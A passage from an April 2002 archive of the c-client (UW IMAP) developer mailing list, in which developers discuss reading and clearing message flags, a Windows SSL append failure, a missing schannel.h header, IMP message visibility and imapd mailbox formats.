g39KKTYB029150 for ; Tue, 9 Apr 2002 13:20:29 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Apr 09 13:20:28 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39KKRjv001810 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 9 Apr 2002 13:20:28 -0700 Message-Id: Date: Tue, 9 Apr 2002 13:20:25 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to get a flag for a message? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Apr 2002, Shawn Walker wrote: > How do I get the flags (UNSEEN, DELETED, EXPUNGED...) for the message > that I'm looking. mail_elt(stream,msgno) Make sure that you called one of: mail_fetch_flags() mail_fetch_fast() mail_fetch_structure() on the message prior to calling mail_elt(). The valid bit of the elt will be NIL if you failed to do this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. "A single glass of champagne imparts a feeling of exhiliaration. The nerves are braced; the imagination is agreeably strirred; the wits become more nimble. A bottle produces a contrary effect. Excess causes a comatose insensibility. So it is with war; and the quality of both is best discovered by sipping." -- Winston Churchill From pinedev@shivax2.cac.washington.edu Tue Apr 9 15:09:40 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Apr 2002 15:09:40 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39M9eXG023581 for ; Tue, 9 Apr 2002 15:09:40 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Apr 09 15:09:39 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39M9dPs016262; Tue, 9 Apr 2002 15:09:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39M8jeo009428; Tue, 9 Apr 2002 15:08:46 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39M5MDN156176 for ; Tue, 9 Apr 2002 15:05:23 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Apr 09 15:05:21 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39M5LIe020120 for ; Tue, 9 Apr 2002 15:05:21 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g39M5LYB009763 for ; Tue, 9 Apr 2002 15:05:21 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Apr 09 15:05:20 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g39M5Kkx000969 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 9 Apr 2002 15:05:20 -0700 Message-Id: Date: Tue, 9 Apr 2002 15:05:18 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jonathan Joseph Lamberson Cc: c-client@u.washington.edu Subject: Re: SSL issue on Win2k In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The problem that you are reporting does not look like the Windows SSL buffer size problem. Your sample shows that the server does not offer MULTIAPPEND, so each message is being appended individually. The previous message was appended successfully (the "APPEND completed" response). It then ran into trouble appending a 2750 byte message, which is much too small to trigger the Windows SSL buffer size problem. The Windows SSL buffer size problem is caused by receiving a SSL encrypted block of greater than 16379 bytes (16K - 5 bytes). SSL allows the block to be a full 16K, but Microsoft's SSPI mistakenly counted the 5-byte header against this total. Your transcript indicates that, from c-client's point of view, the Exchange server unilaterally closed the connection. It sent the 2750 message bytes, and was waiting for an acknowledgement of completion when instead it got an error reading from the server. Perhaps the Exchange server has logs related to the incident which may be of help in diagnosing the problem further. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. "A single glass of champagne imparts a feeling of exhiliaration. The nerves are braced; the imagination is agreeably strirred; the wits become more nimble. A bottle produces a contrary effect. Excess causes a comatose insensibility. So it is with war; and the quality of both is best discovered by sipping." -- Winston Churchill From pinedev@shivax2.cac.washington.edu Mon Apr 15 10:24:31 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Apr 2002 10:24:31 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHOVXG008084 for ; Mon, 15 Apr 2002 10:24:31 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Apr 15 10:24:30 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3FHOTPs032252; Mon, 15 Apr 2002 10:24:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHN6R8013798; Mon, 15 Apr 2002 10:23:06 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHJODN174022 for ; Mon, 15 Apr 2002 10:19:24 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Apr 15 10:19:23 2002 -0700 Received: from tpamail2.bdi.gte.com (tpamail2.bdi.gte.com [192.76.82.136]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3FHJMIe009677 for ; Mon, 15 Apr 2002 10:19:22 -0700 Received: from smtptpa.interwan.gte.com ([138.83.66.45]) by tpamail2.bdi.gte.com (8.9.3/8.9.3) with ESMTP id NAA06695 for ; Mon, 15 Apr 2002 13:19:21 -0400 (EDT) Received: from smtptpa.interwan.gte.com (localhost [127.0.0.1]) by smtptpa.interwan.gte.com (8.9.3/8.9.3) with ESMTP id NAA15855 for ; Mon, 15 Apr 2002 13:18:59 -0400 (EDT) Received: from blackberry.ap.bdi.gte.com (blackberry.ap.bdi.gte.com [192.76.64.54]) by smtptpa.interwan.gte.com (8.9.3/8.9.3) with ESMTP id NAA13638 for ; Mon, 15 Apr 2002 13:18:54 -0400 (EDT) Received: by blackberry.ap.bdi.gte.com with Internet Mail Service (5.5.2653.19) id ; Mon, 15 Apr 2002 12:17:19 -0500 Message-Id: <6613E0DCAA42D511A23C000629550B8706FBA1E2@ivhpxc0003.ap.bdi.gte.com> Date: Mon, 15 Apr 2002 12:17:09 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Zhang, Cenyu" To: "'c-client@u.washington.edu'" Subject: How to set a unseen flag MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1E4A1.5FE78300" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1E4A1.5FE78300 Content-Type: text/plain; charset="ISO-8859-1" Hi, I am having some problems in resetting the message flag to UNSEEN. in setflag(), it can only set SEEN, DELETE etc. but not UNSEEN and RECENT. so can anyone tell me if there is anyway around it? and what is the reason why I can't do it in setflag? Thanks! Cenyu ------_=_NextPart_001_01C1E4A1.5FE78300 Content-Type: text/html; charset="ISO-8859-1" How to set a unseen flag

    Hi,

    I am having some problems in resetting the message
    flag to UNSEEN. in setflag(), it can only set SEEN,
    DELETE etc. but not UNSEEN and RECENT. so
    can anyone tell me if there is anyway around it? and
    what is the reason why I can't do it in setflag? Thanks!

    Cenyu

    ------_=_NextPart_001_01C1E4A1.5FE78300-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 15 10:37:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Apr 2002 10:37:37 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHbbXG008725 for ; Mon, 15 Apr 2002 10:37:37 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 15 10:37:36 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3FHbaPs000310; Mon, 15 Apr 2002 10:37:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHadqt011746; Mon, 15 Apr 2002 10:36:40 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHYIDN157702 for ; Mon, 15 Apr 2002 10:34:22 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Apr 15 10:34:16 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3FHYFc6031170 for ; Mon, 15 Apr 2002 10:34:16 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g3FHYFYD027234 for ; Mon, 15 Apr 2002 19:34:15 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g3FHY9j17671 for ; Mon, 15 Apr 2002 19:34:09 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA10725 ; Mon, 15 Apr 2002 19:33:48 +0200 Message-Id: <200204151733.TAA10725@seth.lpthe.jussieu.fr> Date: Mon, 15 Apr 2002 19:33:48 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: How to set a unseen flag In-Reply-To: <6613E0DCAA42D511A23C000629550B8706FBA1E2@ivhpxc0003.ap.bdi.gte.com> References: <6613E0DCAA42D511A23C000629550B8706FBA1E2@ivhpxc0003.ap.bdi.gte.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 15 Apr 2002 12:17:09 -0500 "Zhang, Cenyu" wrote: ZC> I am having some problems in resetting the message ZC> flag to UNSEEN. in setflag(), it can only set SEEN, ZC> DELETE etc. but not UNSEEN and RECENT. If you don't specify ST_SET in the flags, the corresponding flag is going to be cleared, so simply do something like this: mail_flag(stream, sequence, "\\SEEN", 0); At least, this works for me. Regards, VZ From pinedev@shivax2.cac.washington.edu Mon Apr 15 10:39:29 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Apr 2002 10:39:29 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHdTXG008790 for ; Mon, 15 Apr 2002 10:39:29 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Apr 15 10:39:28 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3FHdRmT015006; Mon, 15 Apr 2002 10:39:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHcWR8029924; Mon, 15 Apr 2002 10:38:32 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3FHZRDN156758 for ; Mon, 15 Apr 2002 10:35:27 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Apr 15 10:35:27 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3FHZPIe013988 for ; Mon, 15 Apr 2002 10:35:26 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA01301; Mon, 15 Apr 2002 10:35:15 -0700 (PDT) Message-Id: Date: Mon, 15 Apr 2002 10:33:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Zhang, Cenyu" Cc: "'c-client@u.washington.edu'" Subject: re: How to set a unseen flag In-Reply-To: <6613E0DCAA42D511A23C000629550B8706FBA1E2@ivhpxc0003.ap.bdi.gte.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 15 Apr 2002 12:17:09 -0500, Zhang, Cenyu wrote: > I am having some problems in resetting the message > flag to UNSEEN. in setflag(), it can only set SEEN, > DELETE etc. but not UNSEEN and RECENT. so > can anyone tell me if there is anyway around it? and > what is the reason why I can't do it in setflag? RECENT can not be set or unset. Setting UNSEEN is done by clearing the \Seen flag. From pinedev@shivax2.cac.washington.edu Wed Apr 17 06:36:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 06:36:12 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HDaCXG031977 for ; Wed, 17 Apr 2002 06:36:12 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 06:36:09 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HDa9Ps005682; Wed, 17 Apr 2002 06:36:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HDZIeo030536; Wed, 17 Apr 2002 06:35:18 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HDWhDN139452 for ; Wed, 17 Apr 2002 06:32:43 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Apr 17 06:32:42 2002 -0700 Received: from altrade.nijmegen.internl.net (altrade.nijmegen.internl.net [217.149.192.18]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HDWere022313 for ; Wed, 17 Apr 2002 06:32:41 -0700 Received: from [192.168.0.1] by altrade.nijmegen.internl.net via 1Cust228.tnt38.rtm1.nl.uu.net [213.116.170.228] with ESMTP for id PAA12797 (8.8.8/1.3); Wed, 17 Apr 2002 15:31:43 +0200 (MET DST) Message-Id: <26509508.1019056517@localhost> Date: Wed, 17 Apr 2002 15:15:17 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrick Hubers To: c-client mailing list Subject: schannel.h required for MS Visual C++? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm thinking about adding email-capability to an application and hope to be able to use the c-client library for this (Win2k and VC++ 6, SP5). However, the ssl_nt.c file includes a file schannel.h which is not present on my system. There is a schnlsp.h file, which seems to define some of the same functions, but not all of them (I compared it with an schannel.h that I discovered in the Borland C++ compiler headers). Is my compiler setup broken in some way (I have two machines, neither of which has the correct header) or is c-client perhaps using a non-standard (deprecated) header file? Any help appreciated. _____________________ Patrick Hubers phubers@solve-i-t.com Solve IT Postbus 5063 3502 JB Utrecht -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 17 08:16:01 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 08:16:01 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HFG1XG002163 for ; Wed, 17 Apr 2002 08:16:01 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Apr 17 08:15:50 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HFFnPs008350; Wed, 17 Apr 2002 08:15:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HFCvR8021812; Wed, 17 Apr 2002 08:12:57 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HFB8DN045546 for ; Wed, 17 Apr 2002 08:11:08 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Apr 17 08:11:07 2002 -0700 Received: from altrade.nijmegen.internl.net (altrade.nijmegen.internl.net [217.149.192.18]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HFB4re009824 for ; Wed, 17 Apr 2002 08:11:04 -0700 Received: from [192.168.0.1] by altrade.nijmegen.internl.net via 1Cust72.tnt36.rtm1.nl.uu.net [213.116.166.72] with ESMTP id RAA24167 (8.8.8/1.3); Wed, 17 Apr 2002 17:10:05 +0200 (MET DST) Message-Id: <406274.1019063519@localhost> Date: Wed, 17 Apr 2002 17:11:59 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrick Hubers To: Emmanuel Sellier Cc: c-client mailing list Subject: RE: schannel.h required for MS Visual C++? In-Reply-To: <21ACBAE9C35CD311800D005004869A755E8276@dsdm02002.public.datamedia.fr> References: <21ACBAE9C35CD311800D005004869A755E8276@dsdm02002.public.datamed ia.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Emmanuel Sellier schreef: > you need to install the MS platform SDK Yes, so I noticed. I had previously done a custom install (leaving out 64-bit stuff), but apparently that didn't work reliably. A "typical" install of the SDK did the trick. Thanks! _____________________ Patrick Hubers phubers@solve-i-t.com Solve IT Postbus 5063 3502 JB Utrecht From pinedev@shivax2.cac.washington.edu Wed Apr 17 14:03:42 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 14:03:42 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HL3gXG017005 for ; Wed, 17 Apr 2002 14:03:42 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Apr 17 14:03:38 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HL3bmT002828; Wed, 17 Apr 2002 14:03:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HL2olZ014524; Wed, 17 Apr 2002 14:02:50 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HL0wDN102290 for ; Wed, 17 Apr 2002 14:00:58 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Apr 17 14:00:55 2002 -0700 Received: from dag.newtech.fi (ip213-185-39-113.laajakaista.mtv3.fi [213.185.39.113]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HL0rIe029535 for ; Wed, 17 Apr 2002 14:00:54 -0700 Received: (qmail 10718 invoked by uid 200); 17 Apr 2002 21:00:52 -0000 Message-Id: <20020417210052.10717.qmail@dag.newtech.fi> Date: Thu, 18 Apr 2002 00:00:52 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: Michael stergaard Pedersen Cc: c-client@u.washington.edu, dag@newtech.fi Subject: Re: IMAP messages "disappear" In-Reply-To: Message from Michael stergaard Pedersen of "Fri, 18 Jan 2002 17:29:13 +0100." <1382087421.20020118172913@daimi.au.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I am using a web based email program (IMP 3.0) with a PHP backend > compiled with the c-client library (--with-imap). My setup is: > = > Courier-IMAP 1.4.1 > C-Client: CVS-Snapshot from 10-01-2002 (have also tried others) > PHP 4.1.1 > IMP 3.0 > = > My problem is that when I log on to IMP using an IMAP server, I can see= the > new messages in my Inbox. As soon as I click one of them I'm told that = the > message does not exist and all new messages "disappear". > = > The problem is that apparently I can only see messages in Maildir/new, > and as soos as they are moved to /Maildir/cur I can no longer see > them. Netscape and any other IMAP mail client I have tried does not > have this problem with my IMAP server. > = > Still, in IMP it says that I have a total number of messages equal to > what I do have, although I can't see any of them with IMP. Since IMP > relies on the c-client library provided by PHP I was thinking that > perhaps this could be where the problem is? > = > I have asked on the IMP mailing list, but they said it wasn't IMP's > fault. Some PHP people say that they just rely on c-client, so the > problem could not be with PHP. When I asked about my IMAP server, they > told me that it's a client problem and that the server works fine with > other IMAP clients. That's why I'm trying here now. Did you ever find a solution to this? I see the same problem with IMP 3.0 and IMAP and just traced it down to IMP using the "SORT" imap command and this seems to behave strangely. BRGDS -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND From pinedev@shivax2.cac.washington.edu Wed Apr 17 16:07:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 16:07:14 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HN7DXG021340 for ; Wed, 17 Apr 2002 16:07:13 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Apr 17 16:07:12 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HN7CPs025986; Wed, 17 Apr 2002 16:07:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HN6Uqt021300; Wed, 17 Apr 2002 16:06:30 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HLxwDN108452 for ; Wed, 17 Apr 2002 14:59:58 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Apr 17 14:59:58 2002 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HLxwc6017290 for ; Wed, 17 Apr 2002 14:59:58 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Apr 17 14:59:57 2002 -0700 Received: from antsclimbtree.com (dsl-64-130-38-189.telocity.com [64.130.38.189]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HLxrmT004801 for ; Wed, 17 Apr 2002 14:59:57 -0700 Received: from mrtoads.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by antsclimbtree.com (8.11.6/8.11.6) with ESMTP id g3HM0Uq01787 for ; Wed, 17 Apr 2002 15:00:31 -0700 (PDT) (envelope-from mark@antsclimbtree.com) Message-Id: <6D413646-524E-11D6-94EC-0005025E566F@antsclimbtree.com> Date: Wed, 17 Apr 2002 14:59:44 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@CAC.Washington.EDU Subject: Current uw-imap question Mime-Version: 1.0 (Apple Message framework v481) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm about to build a new uw-imap for a new machine, and I'm curious if anything has changed in the last year or so with how imapd handles mailboxes. It still does unix format by default, and if you have an mbox INBOX in a user's home, it uses mbox? You still have to change the default format in the source to mbox if you want new mailboxes to use mbox? Has anything changed? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 17 16:08:22 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Apr 2002 16:08:22 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HN8MXG021371 for ; Wed, 17 Apr 2002 16:08:22 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Apr 17 16:08:20 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g3HN8KmT007001; Wed, 17 Apr 2002 16:08:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HN7Uqt016388; Wed, 17 Apr 2002 16:07:31 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g3HMjGDN104542 for ; Wed, 17 Apr 2002 15:45:16 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Apr 17 